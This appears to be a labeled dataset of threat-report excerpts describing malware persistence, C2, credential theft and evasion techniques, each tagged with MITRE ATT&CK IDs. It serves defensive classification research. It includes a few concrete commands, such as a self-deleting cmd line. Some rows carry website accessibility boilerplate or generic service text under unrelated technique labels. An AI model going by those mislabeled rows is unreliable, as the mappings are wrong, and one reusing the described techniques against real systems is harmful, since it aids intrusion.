+To operate and evade standard analysis tools, most of the functions are hashed. The hashing algorithm has a high degree of similarity to the previous ShellTea version, with a slight modification of the seeds and constants. In this version, the attacker also utilizes functions from ole32 for stream processing	['T1027']
+While the URI string has changed from Trickbot and Anchor variants, the phishing tactics and use of post-infection reconnaissance commands remains the same. In the Bazar backdoor, the tag (or gtag) used to identify Trickbot campaigns is removed from C2 URIs. It may have been moved to the cookie HTTP header parameter	['T1071.001']
+Later in the execution chain, the SeLoadDriverPrivilege is used to load the extracted driver. Then one of the four drivers is dropped, after which the Volume Shadow Copy (VSS) service – which allows backups to be performed – is stopped	['T1490']
+In addition to loading the communications module, the initial macro described above configures a persistence mechanism for this malware loader by setting up a Registry Run key. The non-concatenated command included in the macro that establishes persistence for Libcurl.dll and the hash for this sample are included below	['T1547.001']
+As part of the exploitation process, the above value will be written to the registry under the %windir% variable, and deleted after execution	['T1112']
+"The document contains an encoded Visual Basic Script (VBScript) typical of previous Carbanak malware. Recent samples of the malware have now included the ability to use Google services for command-and-control (C&C) communication. The module is base64 encoded inside the main VBScript file along with various other VBScript modules used by the malware. When we analyzed the script we noticed that it is capable of using Google services as a C&C channel. Abusing Google for C&C communication . The ""ggldr"" script will send and receive commands to and from Google Apps Script, Google Sheets, and Google Forms services. It is unlikely that these hosted Google services are blocked by default in an organization, so it is more likely that the attacker will establish a C&C channel successfully. Upon the first attempt to contact the hard-coded Google Apps Script URL with the user's unique infection ID, the C&C will state that no spreadsheet currently exists for the user. The malware will then send two requests to another hard-coded Google Forms URL which will result in the creation of unique Google Sheets spreadsheet and Google Form IDs for the victim. The second time the Google Apps Script is requested, the C&C will return the unique Google Sheet and Google Form ID values: The ""entry"" value is also a unique ID which is sent with each subsequent Google Forms C&C request. Using Google as an independent C&C channel is likely to be more successful than using newly created domains or domains with no reputation"	['T1102.002']
+Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page	['T1608.001']
+The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). The signature was signed with a code signing certificate purchased by the same user as the SSL certificate for jmttrading[.]org (Obtain Capabilities: Code Signing Certificates [T1588.003]). The MSI Installer asks the victim for administrative privileges to run (User Execution: Malicious File [T1204.002	['T1588.004']
+These platforms are used to exfiltrate documents and receive instructions. Here is a list of the platforms used by this variant: Twitter, Yandex and Mediafire. The tokens for each platform are hardcoded within the sample	['T1102.002']
+Taken together, the VirusTotal submissions of the samples, the samples themselves, the ZIP containing the samples (observed as a dissemination mechanism via email attachment), as well as the RAR container (seen later in this report under the Analysis section) form a timeline beginning on 12 November	['T1566.001']
+HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives	['T1059.003']
+The malware proceeds to check to see if the original dropped malware file exists. In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file. This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine. Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges. Reaver continues to collect various information from the victim machine, including the following	['T1070.004']
+The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California	['T1553.002', 'T1553.002']
+The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system	['T1561.002']
+Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior	['T1053.005']
+The Distributed Transaction Coordinator (DTC) service coordinates transactions that update two or more transaction-protected resources, such as databases, message queues, files systems, and so on. These transaction-protected resources may be on a single computer or distributed across many networked computers	['T1036.005', 'T1036.005', 'T1036.005']
+Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled variants which we have determined are only used by this group	['T1552.001', 'T1555.003']
+Initial access via a phishing email that linked to a google docs page that enticed the user to download a report, which was a Bazar Loader executable file instead Report-Review20-10.exe	['T1566.002']
+Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions	['T1102']
+The encrypted request includes a PC identifier and timestamp, and optionally some other data. It is worth noting that the RC2FM module uses a number of encryption methods (variations of a simple XOR encryption routine), unlike the other InvisiMole parts	['T1140']
+In these cases, the temporary file is written to the %TEMP% directory, and the filename is a combination of numbers generated from a call to GetTickCount and the '.dat' extension (e.g	['T1218.011']
+In the past, this APT has relied on Hangul Office documents (hwp files) to target victims, as it’s software that’s commonly used in South Korea. However, in this blog we describe an interesting alternative method, delivered via self-decoding VBA Office files	['T1566.001']
+Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH	['T1059', 'T1046']
+Snippets of HOLMIUM PowerShell backdoor (POWERTON) implementing two different persistence mechanisms: WMI event subscription (T1084) and Registry run keys or Startup folder (T1060	['T1546.003', 'T1547.001']
+1) Hunting for PDF files that are created with the same “DocumentID” management metadata field result in a set of files that have been used in email delivery against banking entities. 2) All of the PDF files embed a link based on a Google redirect, leading to the download of a Microsoft Office document file. 3) The Microsoft Office document files contain macros for code execution. Those macros match the characteristics of the builder that we have characterized	['T1204.002', 'T1204.001']
+The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe	['T1218.005', 'T1204.002']
+The two dropped artifacts – a payload DLL and a Word document – are written to the “Users\<Log on User>\” folder (the document will replace the opened malicious document with clean stub after killing the running Word process	['T1059.005']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. RarStar HTTP POST request. Use malware to upload the large list of enumerated files to the C2 server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1573.001']
+1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure	['T1046']
+Step 6: After obtaining the fully privileged handle of Taskmgr.exe, the actor uses this handle to execute cmd as high privilege process to execute install.bat	['T1218.011', 'T1134.004']
+The threat actors can execute remote commands by running this specialized module with predefined actions. This module attempts to execute a command. It uses the PowerShell Invoke-Expression method for the PowerShell-based module, while its C# implementation has both cmd and PowerShell options	['T1059.003']
+OFF ON Vision Impaired Profile Enhances website's visuals This profile adjusts the website, so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. This website utilizes various technologies that are meant to make it as accessible as possible at all times. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. In this process, we provide screen-readers with meaningful data using the ARIA set of attributes. It will also extract texts embedded within the image using an OCR (optical character recognition) technology. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Additional UI, design, and readability adjustments . 1) Font adjustments – users can increase and decrease its size, change its family (type), adjust the spacing, alignment, line height, and more. 7) Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. Still, we are continually improving our accessibility, adding, updating, improving its options and features, and developing and adopting new technologies	['T1059.003']
+In another engagement, we observed the adversary using Mimikatz (the official signed version) to access credentials for logon (T1003.001: LSASS Memory	['T1003.001']
+MobileOrder starts by registering itself as device administrator so that a normal user cannot uninstall it by simply clicking “uninstall” in settings	['T1105']
+A screen capture of Trickbot’s code that is structured to steal passwords from popular web browsers . It should be noted that this Trickbot variant is not capable of stealing passwords from third-party password manager applications. Screen capture of code showing possible SMB communication . networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users. It's also used to inject code into its target processes using the Reflective DLL Injection technique. James’s Place Bank, and Royal Bank of Scotland, and will redirect users to fake phishing websites. Trickbot’s other notable tricks . Trickbot is usually sent via malicious spam campaigns. Defending against Trickbot’s tricks: Trend Micro solutions . Malware authors continue to update banking trojans like Trickbot and Emotet with new modules that make it more difficult to detect and combat. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements.Note: This profile prompts automatically for keyboard users. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. Assistive technology and browser compatibility . We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible	['T1185']
+It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past	['T1573.001']
+NewBCtestDll, NewBCtestnDll Module that is a reverse proxy and is able to execute commands. Module that is a reverse proxy and is able to execute commands. vncDll Module used as a RAT on the victim machine. Module used as a RAT on the victim machine. vpnDll Module used to create VPN proxy routed to a given address. Module used to create VPN proxy routed to a given address. rdpscanDll Module used for brute forcing RDP on a certain list of targets. Module used for brute forcing RDP on a certain list of targets. bcClientDllTestTest An old module used to proxy Trickbot operator traffic through a victim machine. An old module used to proxy Trickbot operator traffic through a victim machine	['T1219']
+While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&C server. These file stealers can also download and execute arbitrary code from the C&C server. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript	['T1005']
+On June 21st, 2017 an attacker breached one of our monitored systems by brute-forcing SSH credentials using two IPs known to be part of the TOR network	['T1110']
+DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets	['T1114.002', 'T1133']
+While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes	['T1057']
+Attempt to get detailed information about the operating system and hardware, such as version, patches, hotfixes, service packs, and architecture (System Information Discovery [T1082]) - Enumerate files and directories or search in specific locations of a host or network share for particular information within a file system (File and Directory Discovery [T1083]) - Get a list of security software, configurations, defensive tools, and sensors installed on the system (Software Discovery: Security Software Discovery [T1518.001]) - Procure information about running processes on a system to understand standard software running on network systems (Process Discovery [T1057]) - Identify primary users, currently logged in users, sets of users that commonly use a system, or active or inactive users (System Owner/User Discovery [T1033]) - Enumerate browser bookmarks to learn more about compromised hosts, reveal personal information about users, and expose details about internal network resources (Browser Bookmark Discovery [T1217]) - Look for information on network configuration and system settings on compromised systems, or perform remote system discovery (System Network Configuration Discovery [T1016]) - Interact with the Windows Registry to gather information about the system, configuration, and installed software (Query Registry [T1012]) - Get a list of open application windows to learn how the system is used or give context to data collected (Application Window Discovery [T1010]) - Attempt to get a listing of local system or domain accounts in the compromised system (Account Discovery [T1087]) - Obtain a list of network connections to and from the compromised system or remote system by querying for information over the network (System Network Connections Discovery [T1049	['T1083', 'T1518.001', 'T1033', 'T1082', 'T1217']
+BRONZE UNION uses various tools for credential theft. In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt	['T1003.001']
+Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data	['T1027', 'T1560']
+PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34	['T1003.005', 'T1003.004', 'T1555', 'T1552.001', 'T1003.001', 'T1555.003', 'T1555.003']
+Static analysis of this executable shows only two functions, but a regular number of imports. Upon detecting a debugger attached to it, the malware will display the message below and terminate the execution. This packer also hides the calls to API functions. This time instead of using a dispatcher function, the malware pushes the arguments into the stack as usual but will then perform a call to a jump table built during the unpacking, in the .text section memory region. Each entry finishes with a jmp instruction into the respective API function. Effectively the malware doesn't do any call to API functions, it always performs a jump. The end result is the same has in the packer from 2016, but with a simpler mechanism. One of the anti-analysis features included in this packer is the lack of calls to API functions. In the early stages of execution, the malware loads the libraries and retrieves the addresses from functions it needs. Feature-wise, there is no change when compared with the 2016 version, in fact when compared the C2 beaconing functions even share some of the offsets	['T1497.003']
+File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. File listing plugin: Works on local or remote drives and can map additional paths when given credentials	['T1082', 'T1083']
+This function aims to download the powershell code from the command and control server and execute it	['T1105']
+All three companies indicated that the actors wiped some systems by executing the KillDisk malware at the conclusion of the cyber-attack. The KillDisk malware erases selected files on target systems and corrupts the master boot record, rendering systems inoperable. It was further reported that in at least one instance, Windows-based human-machine interfaces (HMIs) embedded in remote terminal units were also overwritten with KillDisk. The actors also rendered Serial-to-Ethernet devices at substations inoperable by corrupting their firmware. The team assesses that these actions were done in an attempt to interfere with expected restoration efforts	['T1561.002']
+The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network	['T1049']
+In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient	['T1204.002']
+The PlugX malware can be configured to use HTTP, DNS, raw TCP, or UDP to avoid network-based detection. In one sample analyzed by CTU researchers, PlugX was configured with hard-coded user credentials to bypass a proxy that required authentication. Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications	['T1071.001', 'T1071.004', 'T1095']
+The macro in the XLS file uses PowerShell to download and execute gm.exe, which is the Warzone RAT - Gm.exe bypasses UAC to run at high integrity level - Gm.exe copies itself to %programdata% with the name Images.exe and then executes it	['T1059.001']
+Those files are then uploaded via unencrypted HTTP, one after another. Examining the network packets showed that they contained a string with two pieces of information: a file path and a random string of characters	['T1071.001', 'T1041']
+STOLEN INFO’ message – bot message to C2 with stolen information like passwords, accounts, emails, etc. Stolen information is RC4 encrypted and Base64 encoded. The key for the RC4 encryption is generated in a different way and based on the infected system ID (aka Bot ID) values, and not based on a static string as in the case of traffic encryption	['T1132.001', 'T1573.001']
+mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. To gain higher privileges mshlpweb.dll execute the Windows Update Standalone Installer, wusa.exe. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest	['T1218.011']
+Once the VBScript has been decoded it reveals a rather complex set of functions. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script	['T1027']
+First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim	['T1047']
+Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry’s 2010 Black DDoS’ analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing. Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as “version 1”, including the ddos plugin	['T1552.001']
+In mid-2018, OceanLotus carried out a campaign using documents abusing the weakness exposed by the CVE-2017-11882 vulnerability. One of the malicious documents used by OceanLotus was analysed by 360 Threat Intelligence Center (in Chinese) and includes details about the exploit. Let’s take a look at a similar document	['T1203']
+NOBELIUM has been observed modifying Azure AD to enable long-term persistence and access to sensitive information. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. In one incident, MSTIC observed the use of Azure RunCommand, paired with Azure admin-on-behalf-of (AOBO), as a technique to gain access to virtual machines and shift access from cloud to on-premise. NOBELIUM has demonstrated an ongoing interest in targeting privileged users, including Global Administrators. NOBELIUM is frequently observed conducting activities consistent with intelligence collection	['T1087.004']
+Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks	['T1136.001']
+Next, REvil checks the configuration field dbg to see if it’s running in debug mode. If that is not the case, geolocation checks based on the system’s language and the keyboard layout are conducted so the ransomware does not attempt to encrypt files on whitelisted systems. The following are whitelisted system language IDs for the analyzed sample	['T1082']
+The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails. The group is still using similar phishing models previously mentioned in the KISA report with some small changes	['T1566.001', 'T1589.002']
+The export called “SendDataToServer_2” does exactly what the name means: it encrypts all collected data, encodes it using Base64 encoding and calls its additional library to send the data to the C2 server. The names of the C2 servers are hardcoded	['T1132.001']
+The user receives a phishing email with a ZIP attachment containing an Office document with embedded macros, the document itself or a link to download malicious document. The user opens the malicious attachment/link and is tricked into clicking “Enable content”. - A malicious macro is executed. One of the encrypted resources has the DLL binary (loader) which is decrypted later during runtime	['T1204.001', 'T1204.002']
+Helminth relies on the following shortcut for persistence, as it runs the Trojan each time the system starts using the following command line	['T1547.001']
+In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom	['T1090']
+Our initial discovery of GravityRAT was through a malicious Word document. We were able to discover four distinct versions of GravityRAT, developed over two years	['T1559.002']
+The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. cmd.exe /C choice /C Y /N /D Y /T 2 & Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2	['T1059.005']
+Waterbear employs a modular approach to its malware. It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload. Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g. It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems. The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&C server	['T1027']
+Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication	['T1598.002']
+Sodinokibi gathers some basic system information and saves it to the registry together with the generated encryption parameters. If the dbg option is not set in the config, the UI language and keyboard layout values are checked, and the malware will simply exit on systems which use one of the following language codes	['T1112', 'T1082']
+The backdoor installation sequence shows that it’s meant for persistence via /LaunchAgents/com.aex-loop.agent.plist and /Library/LaunchDaemons/com.aex-loop.agent.plist. It initiates the configuration file /Library/Caches/com.applestore.db to set the C&C server IP and for remote session information. Loading the bot plugins, this enables connection to the server to open and wait for commands, update the configuration file based on the commands received, and encrypt the file via AES CBC. If the configuration file already exists, it will decrypt once a new session starts	['T1027']
+"Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling ""PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. Besides these, there are keyloggers, browser-focused password stealers, camera control applications, and other generic password stealers"	['T1555.003']
+The final payload is a ZIP archive that is usually encrypted by the algorithm shown in Figure 8 and, in a significant number of cases, we saw it being password-protected as well	['T1027', 'T1027']
+In order to pull down the backdoor, a payload stager, either HTTP or reverse-DNS, is executed with the use of a scheduled task	['T1053.005']
+PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\vstservice.pdb The vstservice.exe plugin is .NET file responsible for sending a list of the file system to the C2. The malware retrieves the C2 from a Google Docs file like the previous binaries. The file was located at the following location	['T1005']
+In one sample we analyzed, the zip file contains a VBS file named NUM_56960.vbs. The size of the file is around 30MB. The large file size helps it evade detection, as file scanners usually skip scanning huge files for performance reasons. This VBS file then downloads the malicious executable file PaintHelper.exe	['T1027.001']
+The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive. Weaponized virtual machine . The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies. The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims	['T1047']
+Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. The document’s metadata used in this campaign links them to several other documents used by this actor in the past	['T1027']
+Windows Defender ATP displays these activities as process trees in a machine timeline for the infected computer. Analysts can easily extract detailed information from these trees, such as the implant DLL dropped by the installer, the command used to call rundll32.exe and load the DLL, and the registry modifications that set the DLL as a service	['T1543.003']
+The function of this tool is to set up a TCP listener on a localhost, receive encoded data via requests from the SodomNormal localhost module, and to forward this data to the command and control IP via HTTP. The GUP Proxy Tool has a hardcoded configuration which is included as both strings and integers	['T1036.005']
+Downloaded payload is a variant of a cloud-based RAT known as RokRat which has been used by this group since 2017. This RAT is known to steal data from a victim’s machine and send them to cloud services (Pcloud, Dropbox, Box, Yandex	['T1567.002']
+Sandbox check and anti-virus product enumeration - Dropping payload ‘netmgr.exe’ - Creating a registry key for persistence - Creating a registry key for deletion of the dropper	['T1547.001']
+"Several files were downloaded to our Struts2 honeypot from the Chinese repository site gitee.com for a user named ""c-999. Around the same time, we observed similar activity pulling down files from a gitlab.com repository page for a user named ""c-18. All the repositories had a folder called ""ss"" that contained 16 files. The files were a collection of ELF executables, shell scripts, and text files that execute a variety of actions, including achieving persistence and the execution of an illicit cryptocurrency miner. Once the threat actor had compromised a system, they achieved persistence on the device by installing a cron job that downloads and executes a file ""logo.jpg"" from ""3389[.]space. This file is a shell script which, in turn, downloads mining executables from the threat actor's Git repositories and saves them under the filename ""java. The exact file downloaded depends on the victim's system architecture"	['T1053.003']
+Note that regardless of whether Nyetya is successful in overwriting the boot sector or not, it will proceed to create a scheduled task via schtasks to reboot the system one hour after infection	['T1529', 'T1053.005']
+Upon execution, Pay2Key is reading the Server and Port keys from the configuration file. If a configuration file was not found in the current working directory and wasn’t supplied in the command line arguments, the ransomware will write “no config file found” to a file at .\Cobalt-Client-log.txt. This log file will be used extensively by the ransomware during its execution. Newer versions of the ransomware are making sure to remove this log file from the disk. The full list of supported log messages can be found in the appendix section of this article	['T1070.004']
+This script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable. In this particular instance, the payload is encoded via base64, which certutil decodes. The payload in question is a CAB file that is then unpacked. Finally, the malware executes the extracted install.bat script before deleting the original files and exiting	['T1027']
+Path – location of the root “stash” directory - Ext – search for files with one of these extensions only - Date – search for files not earlier than this date	['T1083']
+TA505 continued distributing Dridex through early June 2017 using a range of email attachments. Most recently these included PDF attachments with embedded Microsoft Word documents bearing malicious macros that call PowerShell commands that install Dridex	['T1566.001']
+The Delphi variant of Zebrocy delivered in this attack campaign are very similar to the Delphi downloader discussed in our previous Zebrocy research published in June 2018. While this Delphi variant was known, the C# and VB.NET variants delivered in this attack campaign were previously unknown. An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed. While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed	['T1027.002']
+While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. Generally, malware loads a DLL, iterates over the set of exports of the DLL and hashes the string, looking for a matching hash. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name	['T1027']
+Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function	['T1041']
+Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include	['T1059.003']
+Mustang Panda APT uses a package of binaries to load the actual payload and it is intentionally designed this way to bypass file scanners and sandboxes. Obviously, file scanners or sandboxes can’t detect the PlugX payload without the encrypted DAT file	['T1027.001']
